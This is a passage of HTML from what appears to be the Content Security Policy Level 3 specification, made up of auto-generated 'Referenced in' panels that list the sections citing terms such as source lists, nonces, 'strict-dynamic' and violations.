href=\"#ref-for-directive-pre-request-check①\">6.1.1.1. \n    child-src Pre-request check </a> <a href=\"#ref-for-directive-pre-request-check②\">(2)</a>\n    <li><a href=\"#ref-for-directive-pre-request-check③\">6.1.2.1. \n    connect-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check④\">6.1.3.1. \n    default-src Pre-request check </a> <a href=\"#ref-for-directive-pre-request-check⑤\">(2)</a>\n    <li><a href=\"#ref-for-directive-pre-request-check⑥\">6.1.4.1. \n    font-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check⑦\">6.1.5.1. \n    frame-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check⑧\">6.1.6.1. \n    img-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check⑨\">6.1.7.1. \n    manifest-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①⓪\">6.1.8.1. \n    media-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①①\">6.1.9.1. \n    object-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①②\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①③\">6.1.11.1. \n    style-src Pre-request Check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①④\">6.1.12.1. \n    worker-src Pre-request Check </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①⑤\">6.5. \n    Directives Defined in Other Documents </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①⑥\">6.6.1.1. \n    Does request violate policy? </a>\n    <li><a href=\"#ref-for-directive-pre-request-check①⑦\">6.6.1.3. \n    Does request match source list? </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-post-request-check\">\n   <b><a href=\"#directive-post-request-check\">#directive-post-request-check</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-post-request-check\">4.1. \n    Integration with Fetch </a>\n    <li><a href=\"#ref-for-directive-post-request-check①\">4.1.4. \n    Should response to request be blocked by Content\n    Security Policy? </a>\n    <li><a href=\"#ref-for-directive-post-request-check②\">6.1.1.2. \n    child-src Post-request check </a> <a href=\"#ref-for-directive-post-request-check③\">(2)</a>\n    <li><a href=\"#ref-for-directive-post-request-check④\">6.1.2.2. \n    connect-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check⑤\">6.1.3.2. \n    default-src Post-request check </a> <a href=\"#ref-for-directive-post-request-check⑥\">(2)</a>\n    <li><a href=\"#ref-for-directive-post-request-check⑦\">6.1.4.2. \n    font-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check⑧\">6.1.5.2. \n    frame-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check⑨\">6.1.6.2. \n    img-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①⓪\">6.1.7.2. \n    manifest-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①①\">6.1.8.2. \n    media-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①②\">6.1.9.2. \n    object-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①③\">6.1.10.2. \n    script-src Post-request check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①④\">6.1.11.2. \n    style-src Post-request Check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①⑤\">6.1.12.2. \n    worker-src Post-request Check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①⑥\">6.2.2.1. \n    plugin-types Post-Request Check </a>\n    <li><a href=\"#ref-for-directive-post-request-check①⑦\">6.5. \n    Directives Defined in Other Documents </a>\n    <li><a href=\"#ref-for-directive-post-request-check①⑧\">6.6.1.4. \n    Does response to request match source list? </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-response-check\">\n   <b><a href=\"#directive-response-check\">#directive-response-check</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-response-check\">4.1. \n    Integration with Fetch </a>\n    <li><a href=\"#ref-for-directive-response-check①\">4.1.4. \n    Should response to request be blocked by Content\n    Security Policy? </a>\n    <li><a href=\"#ref-for-directive-response-check②\">6.2.3.1. \n    sandbox Response Check </a>\n    <li><a href=\"#ref-for-directive-response-check③\">6.5. \n    Directives Defined in Other Documents </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-inline-check\">\n   <b><a href=\"#directive-inline-check\">#directive-inline-check</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-inline-check\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-directive-inline-check①\">4.2.5. \n    Should navigation request of type from source in target be blocked\n    by Content Security Policy? </a>\n    <li><a href=\"#ref-for-directive-inline-check②\">6.1.10.3. \n    script-src Inline Check </a>\n    <li><a href=\"#ref-for-directive-inline-check③\">6.1.11.3. \n    style-src Inline Check </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-initialization\">\n   <b><a href=\"#directive-initialization\">#directive-initialization</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-initialization\">4.2.1. \n    Initialize a Document's CSP list </a>\n    <li><a href=\"#ref-for-directive-initialization①\">6.1.11.3. \n    style-src Inline Check </a>\n    <li><a href=\"#ref-for-directive-initialization②\">6.2.3.2. \n    sandbox Initialization </a>\n    <li><a href=\"#ref-for-directive-initialization③\">6.2.4.1. \n    disown-opener Initialization </a>\n    <li><a href=\"#ref-for-directive-initialization④\">6.5. \n    Directives Defined in Other Documents </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-pre-navigation-check\">\n   <b><a href=\"#directive-pre-navigation-check\">#directive-pre-navigation-check</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-pre-navigation-check\">4.2.5. \n    Should navigation request of type from source in target be blocked\n    by Content Security Policy? </a>\n    <li><a href=\"#ref-for-directive-pre-navigation-check①\">6.3.1.1. \n    form-action Pre-Navigation Check </a>\n    <li><a href=\"#ref-for-directive-pre-navigation-check②\">6.3.3.1. \n      navigation-to Pre-Navigation Check </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"directive-navigation-response-check\">\n   <b><a href=\"#directive-navigation-response-check\">#directive-navigation-response-check</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-directive-navigation-response-check\">4.2.6. \n    Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-directive-navigation-response-check①\">6.3.2.1. \n    frame-ancestors Navigation Response Check </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"source-lists\">\n   <b><a href=\"#source-lists\">#source-lists</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-source-lists\">6.1.1. child-src</a>\n    <li><a href=\"#ref-for-source-lists①\">6.1.2. connect-src</a>\n    <li><a href=\"#ref-for-source-lists②\">6.1.3. default-src</a>\n    <li><a href=\"#ref-for-source-lists③\">6.1.4. font-src</a>\n    <li><a href=\"#ref-for-source-lists④\">6.1.5. frame-src</a>\n    <li><a href=\"#ref-for-source-lists⑤\">6.1.6. img-src</a>\n    <li><a href=\"#ref-for-source-lists⑥\">6.1.7. manifest-src</a>\n    <li><a href=\"#ref-for-source-lists⑦\">6.1.8. media-src</a>\n    <li><a href=\"#ref-for-source-lists⑧\">6.1.9. object-src</a>\n    <li><a href=\"#ref-for-source-lists⑨\">6.1.12. worker-src</a>\n    <li><a href=\"#ref-for-source-lists①⓪\">6.3.2. frame-ancestors</a>\n    <li><a href=\"#ref-for-source-lists①①\">6.6.1.2. \n    Does nonce match source list? </a>\n    <li><a href=\"#ref-for-source-lists①②\">6.6.1.3. \n    Does request match source list? </a>\n    <li><a href=\"#ref-for-source-lists①③\">6.6.1.4. \n    Does response to request match source list? </a>\n    <li><a href=\"#ref-for-source-lists①④\">6.6.1.5. \n    Does url match source list in origin with redirect count? </a>\n    <li><a href=\"#ref-for-source-lists①⑤\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a> <a href=\"#ref-for-source-lists①⑥\">(2)</a> <a href=\"#ref-for-source-lists①⑦\">(3)</a> <a href=\"#ref-for-source-lists①⑧\">(4)</a> <a href=\"#ref-for-source-lists①⑨\">(5)</a>\n    <li><a href=\"#ref-for-source-lists②⓪\">6.6.2.3. \n    Does element match source list for type and source? </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"source-expression\">\n   <b><a href=\"#source-expression\">#source-expression</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-source-expression\">1.3. Changes from Level 2</a>\n    <li><a href=\"#ref-for-source-expression①\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-source-expression②\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n    <li><a href=\"#ref-for-source-expression③\">6.1.10.1. \n    script-src Pre-request check </a> <a href=\"#ref-for-source-expression④\">(2)</a> <a href=\"#ref-for-source-expression⑤\">(3)</a> <a href=\"#ref-for-source-expression⑥\">(4)</a>\n    <li><a href=\"#ref-for-source-expression⑦\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a>\n    <li><a href=\"#ref-for-source-expression⑧\">8.4. \n      Allowing external JavaScript via hashes </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-serialized-source-list\">\n   <b><a href=\"#grammardef-serialized-source-list\">#grammardef-serialized-source-list</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list\">6.1.1. child-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list①\">6.1.2. connect-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list②\">6.1.3. default-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list③\">6.1.4. font-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list④\">6.1.5. frame-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list⑤\">6.1.6. img-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list⑥\">6.1.7. manifest-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list⑦\">6.1.8. media-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list⑧\">6.1.9. object-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list⑨\">6.1.10. script-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list①⓪\">6.1.11. style-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list①①\">6.1.12. worker-src</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list①②\">6.2.1. base-uri</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list①③\">6.3.1. form-action</a>\n    <li><a href=\"#ref-for-grammardef-serialized-source-list①④\">6.3.3. navigation-to</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-none\">\n   <b><a href=\"#grammardef-none\">#grammardef-none</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-none\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-none①\">6.3.2. frame-ancestors</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-source-expression\">\n   <b><a href=\"#grammardef-source-expression\">#grammardef-source-expression</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-source-expression\">2.3.1. Source Lists</a> <a href=\"#ref-for-grammardef-source-expression①\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-scheme-source\">\n   <b><a href=\"#grammardef-scheme-source\">#grammardef-scheme-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-scheme-source\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-scheme-source①\">6.3.2. frame-ancestors</a>\n    <li><a href=\"#ref-for-grammardef-scheme-source②\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a> <a href=\"#ref-for-grammardef-scheme-source③\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-scheme-source④\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-host-source\">\n   <b><a href=\"#grammardef-host-source\">#grammardef-host-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-host-source\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-host-source①\">6.3.2. frame-ancestors</a>\n    <li><a href=\"#ref-for-grammardef-host-source②\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a> <a href=\"#ref-for-grammardef-host-source③\">(2)</a> <a href=\"#ref-for-grammardef-host-source④\">(3)</a>\n    <li><a href=\"#ref-for-grammardef-host-source⑤\">7.3. Nonce Retargeting</a>\n    <li><a href=\"#ref-for-grammardef-host-source⑥\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-scheme-part\">\n   <b><a href=\"#grammardef-scheme-part\">#grammardef-scheme-part</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-scheme-part\">2.3.1. Source Lists</a> <a href=\"#ref-for-grammardef-scheme-part①\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-scheme-part②\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a> <a href=\"#ref-for-grammardef-scheme-part③\">(2)</a> <a href=\"#ref-for-grammardef-scheme-part④\">(3)</a> <a href=\"#ref-for-grammardef-scheme-part⑤\">(4)</a>\n    <li><a href=\"#ref-for-grammardef-scheme-part⑥\">6.6.1.7. \n    scheme-part matching </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-host-part\">\n   <b><a href=\"#grammardef-host-part\">#grammardef-host-part</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-host-part\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-host-part①\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a>\n    <li><a href=\"#ref-for-grammardef-host-part②\">6.6.1.8. \n    host-part matching </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-host-char\">\n   <b><a href=\"#grammardef-host-char\">#grammardef-host-char</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-host-char\">2.3.1. Source Lists</a> <a href=\"#ref-for-grammardef-host-char①\">(2)</a> <a href=\"#ref-for-grammardef-host-char②\">(3)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-port-part\">\n   <b><a href=\"#grammardef-port-part\">#grammardef-port-part</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-port-part\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-port-part①\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a>\n    <li><a href=\"#ref-for-grammardef-port-part②\">6.6.1.9. \n    port-part matching </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-path-part\">\n   <b><a href=\"#grammardef-path-part\">#grammardef-path-part</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-path-part\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-path-part①\">6.6.1.6. \n    Does url match expression in origin with redirect count? </a> <a href=\"#ref-for-grammardef-path-part②\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-path-part③\">6.6.1.10. \n    path-part matching </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-keyword-source\">\n   <b><a href=\"#grammardef-keyword-source\">#grammardef-keyword-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-keyword-source\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-keyword-source①\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-grammardef-keyword-source②\">6.1.10.3. \n    script-src Inline Check </a> <a href=\"#ref-for-grammardef-keyword-source③\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-keyword-source④\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a> <a href=\"#ref-for-grammardef-keyword-source⑤\">(2)</a> <a href=\"#ref-for-grammardef-keyword-source⑥\">(3)</a>\n    <li><a href=\"#ref-for-grammardef-keyword-source⑦\">6.6.2.3. \n    Does element match source list for type and source? </a>\n    <li><a href=\"#ref-for-grammardef-keyword-source⑧\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-self\">\n   <b><a href=\"#grammardef-self\">#grammardef-self</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-self\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-self①\">6.1.3. default-src</a> <a href=\"#ref-for-grammardef-self②\">(2)</a> <a href=\"#ref-for-grammardef-self③\">(3)</a> <a href=\"#ref-for-grammardef-self④\">(4)</a> <a href=\"#ref-for-grammardef-self⑤\">(5)</a> <a href=\"#ref-for-grammardef-self⑥\">(6)</a> <a href=\"#ref-for-grammardef-self⑦\">(7)</a> <a href=\"#ref-for-grammardef-self⑧\">(8)</a> <a href=\"#ref-for-grammardef-self⑨\">(9)</a> <a href=\"#ref-for-grammardef-self①⓪\">(10)</a> <a href=\"#ref-for-grammardef-self①①\">(11)</a> <a href=\"#ref-for-grammardef-self①②\">(12)</a> <a href=\"#ref-for-grammardef-self①③\">(13)</a> <a href=\"#ref-for-grammardef-self①④\">(14)</a> <a href=\"#ref-for-grammardef-self①⑤\">(15)</a> <a href=\"#ref-for-grammardef-self①⑥\">(16)</a> <a href=\"#ref-for-grammardef-self①⑦\">(17)</a> <a href=\"#ref-for-grammardef-self①⑧\">(18)</a> <a href=\"#ref-for-grammardef-self①⑨\">(19)</a> <a href=\"#ref-for-grammardef-self②⓪\">(20)</a> <a href=\"#ref-for-grammardef-self②①\">(21)</a>\n    <li><a href=\"#ref-for-grammardef-self②②\">6.3.2. frame-ancestors</a>\n    <li><a href=\"#ref-for-grammardef-self②③\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-unsafe-inline\">\n   <b><a href=\"#grammardef-unsafe-inline\">#grammardef-unsafe-inline</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-unsafe-inline\">6. \n    Content Security Policy Directives </a>\n    <li><a href=\"#ref-for-grammardef-unsafe-inline①\">6.1.10.3. \n    script-src Inline Check </a> <a href=\"#ref-for-grammardef-unsafe-inline②\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-unsafe-inline③\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a> <a href=\"#ref-for-grammardef-unsafe-inline④\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-unsafe-inline⑤\">7.1. Nonce Reuse</a> <a href=\"#ref-for-grammardef-unsafe-inline⑥\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-unsafe-inline⑦\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-unsafe-eval\">\n   <b><a href=\"#grammardef-unsafe-eval\">#grammardef-unsafe-eval</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-unsafe-eval\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-strict-dynamic\">\n   <b><a href=\"#grammardef-strict-dynamic\">#grammardef-strict-dynamic</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-strict-dynamic\">6.1.10.1. \n    script-src Pre-request check </a> <a href=\"#ref-for-grammardef-strict-dynamic①\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-strict-dynamic②\">6.1.10.2. \n    script-src Post-request check </a>\n    <li><a href=\"#ref-for-grammardef-strict-dynamic③\">6.1.10.3. \n    script-src Inline Check </a> <a href=\"#ref-for-grammardef-strict-dynamic④\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-strict-dynamic⑤\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a>\n    <li><a href=\"#ref-for-grammardef-strict-dynamic⑥\">8.2. \n    Usage of \"'strict-dynamic'\" </a> <a href=\"#ref-for-grammardef-strict-dynamic⑦\">(2)</a> <a href=\"#ref-for-grammardef-strict-dynamic⑧\">(3)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-unsafe-hashed-attributes\">\n   <b><a href=\"#grammardef-unsafe-hashed-attributes\">#grammardef-unsafe-hashed-attributes</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-unsafe-hashed-attributes\">6.6.2.3. \n    Does element match source list for type and source? </a> <a href=\"#ref-for-grammardef-unsafe-hashed-attributes①\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-unsafe-hashed-attributes②\">8.3. \n      Usage of \"'unsafe-hashed-attributes'\" </a> <a href=\"#ref-for-grammardef-unsafe-hashed-attributes③\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-report-sample\">\n   <b><a href=\"#grammardef-report-sample\">#grammardef-report-sample</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-report-sample\">1.3. Changes from Level 2</a>\n    <li><a href=\"#ref-for-grammardef-report-sample①\">4.2.4. \n    Should element’s inline type behavior be blocked by Content Security Policy? </a>\n    <li><a href=\"#ref-for-grammardef-report-sample②\">4.3.1. \n    EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source) </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-nonce-source\">\n   <b><a href=\"#grammardef-nonce-source\">#grammardef-nonce-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-nonce-source\">2.3.1. Source Lists</a> <a href=\"#ref-for-grammardef-nonce-source①\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-nonce-source②\">6.1.10. script-src</a>\n    <li><a href=\"#ref-for-grammardef-nonce-source③\">6.1.10.3. \n    script-src Inline Check </a>\n    <li><a href=\"#ref-for-grammardef-nonce-source④\">6.1.11. style-src</a>\n    <li><a href=\"#ref-for-grammardef-nonce-source⑤\">6.6.1.2. \n    Does nonce match source list? </a>\n    <li><a href=\"#ref-for-grammardef-nonce-source⑥\">6.6.2.1. \n    Is element nonceable? </a>\n    <li><a href=\"#ref-for-grammardef-nonce-source⑦\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a>\n    <li><a href=\"#ref-for-grammardef-nonce-source⑧\">6.6.2.3. \n    Does element match source list for type and source? </a>\n    <li><a href=\"#ref-for-grammardef-nonce-source⑨\">7.1. Nonce Reuse</a>\n    <li><a href=\"#ref-for-grammardef-nonce-source①⓪\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-base64-value\">\n   <b><a href=\"#grammardef-base64-value\">#grammardef-base64-value</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-base64-value\">2.3.1. Source Lists</a> <a href=\"#ref-for-grammardef-base64-value①\">(2)</a> <a href=\"#ref-for-grammardef-base64-value②\">(3)</a> <a href=\"#ref-for-grammardef-base64-value③\">(4)</a>\n    <li><a href=\"#ref-for-grammardef-base64-value④\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-grammardef-base64-value⑤\">6.6.1.2. \n    Does nonce match source list? </a>\n    <li><a href=\"#ref-for-grammardef-base64-value⑥\">6.6.2.3. \n    Does element match source list for type and source? </a> <a href=\"#ref-for-grammardef-base64-value⑦\">(2)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-hash-source\">\n   <b><a href=\"#grammardef-hash-source\">#grammardef-hash-source</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-hash-source\">2.3.1. Source Lists</a> <a href=\"#ref-for-grammardef-hash-source①\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-hash-source②\">6.1.10. script-src</a>\n    <li><a href=\"#ref-for-grammardef-hash-source③\">6.1.10.1. \n    script-src Pre-request check </a> <a href=\"#ref-for-grammardef-hash-source④\">(2)</a>\n    <li><a href=\"#ref-for-grammardef-hash-source⑤\">6.1.10.3. \n    script-src Inline Check </a>\n    <li><a href=\"#ref-for-grammardef-hash-source⑥\">6.1.11. style-src</a>\n    <li><a href=\"#ref-for-grammardef-hash-source⑦\">6.6.2.2. \n    Does a source list allow all inline behavior for type? </a>\n    <li><a href=\"#ref-for-grammardef-hash-source⑧\">6.6.2.3. \n    Does element match source list for type and source? </a>\n    <li><a href=\"#ref-for-grammardef-hash-source⑨\">8.2. \n    Usage of \"'strict-dynamic'\" </a>\n    <li><a href=\"#ref-for-grammardef-hash-source①⓪\">8.4. \n      Allowing external JavaScript via hashes </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"grammardef-hash-algorithm\">\n   <b><a href=\"#grammardef-hash-algorithm\">#grammardef-hash-algorithm</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-grammardef-hash-algorithm\">2.3.1. Source Lists</a>\n    <li><a href=\"#ref-for-grammardef-hash-algorithm①\">6.1.10.1. \n    script-src Pre-request check </a>\n    <li><a href=\"#ref-for-grammardef-hash-algorithm②\">6.6.2.3. \n    Does element match source list for type and source? </a> <a href=\"#ref-for-grammardef-hash-algorithm③\">(2)</a> <a href=\"#ref-for-grammardef-hash-algorithm④\">(3)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation\">\n   <b><a href=\"#violation\">#violation</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation\">2.4. Violations</a> <a href=\"#ref-for-violation①\">(2)</a> <a href=\"#ref-for-violation②\">(3)</a> <a href=\"#ref-for-violation③\">(4)</a> <a href=\"#ref-for-violation④\">(5)</a> <a href=\"#ref-for-violation⑤\">(6)</a> <a href=\"#ref-for-violation⑥\">(7)</a> <a href=\"#ref-for-violation⑦\">(8)</a> <a href=\"#ref-for-violation⑧\">(9)</a> <a href=\"#ref-for-violation⑨\">(10)</a> <a href=\"#ref-for-violation①⓪\">(11)</a> <a href=\"#ref-for-violation①①\">(12)</a> <a href=\"#ref-for-violation①②\">(13)</a> <a href=\"#ref-for-violation①③\">(14)</a>\n    <li><a href=\"#ref-for-violation①④\">2.4.1. \n    Create a violation object for global, policy, and directive </a> <a href=\"#ref-for-violation①⑤\">(2)</a>\n    <li><a href=\"#ref-for-violation①⑥\">2.4.2. \n    Create a violation object for request, policy, and directive </a>\n    <li><a href=\"#ref-for-violation①⑦\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation①⑧\">5.3. \n    Report a violation </a>\n    <li><a href=\"#ref-for-violation①⑨\">6.4. \n    Reporting Directives </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-global-object\">\n   <b><a href=\"#violation-global-object\">#violation-global-object</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-global-object\">2.4. Violations</a>\n    <li><a href=\"#ref-for-violation-global-object①\">2.4.1. \n    Create a violation object for global, policy, and directive </a> <a href=\"#ref-for-violation-global-object②\">(2)</a>\n    <li><a href=\"#ref-for-violation-global-object③\">5.3. \n    Report a violation </a> <a href=\"#ref-for-violation-global-object④\">(2)</a> <a href=\"#ref-for-violation-global-object⑤\">(3)</a> <a href=\"#ref-for-violation-global-object⑥\">(4)</a> <a href=\"#ref-for-violation-global-object⑦\">(5)</a> <a href=\"#ref-for-violation-global-object⑧\">(6)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-url\">\n   <b><a href=\"#violation-url\">#violation-url</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-url\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-url①\">5.3. \n    Report a violation </a> <a href=\"#ref-for-violation-url②\">(2)</a> <a href=\"#ref-for-violation-url③\">(3)</a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-status\">\n   <b><a href=\"#violation-status\">#violation-status</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a href=\"#ref-for-violation-status\">2.4.1. \n    Create a violation object for global, policy, and directive </a>\n    <li><a href=\"#ref-for-violation-status①\">5.2. \n    Obtain the deprecated serialization of violation </a>\n    <li><a href=\"#ref-for-violation-status②\">5.3. \n    Report a violation </a>\n   </ul>\n  </aside>\n  <aside class=\"dfn-panel\" data-for=\"violation-resource\">\n   <b><a href=\"#violation-resource\">#violation-resource</a></b><b>Referenced in:</b>\n   <ul>\n    <li><a 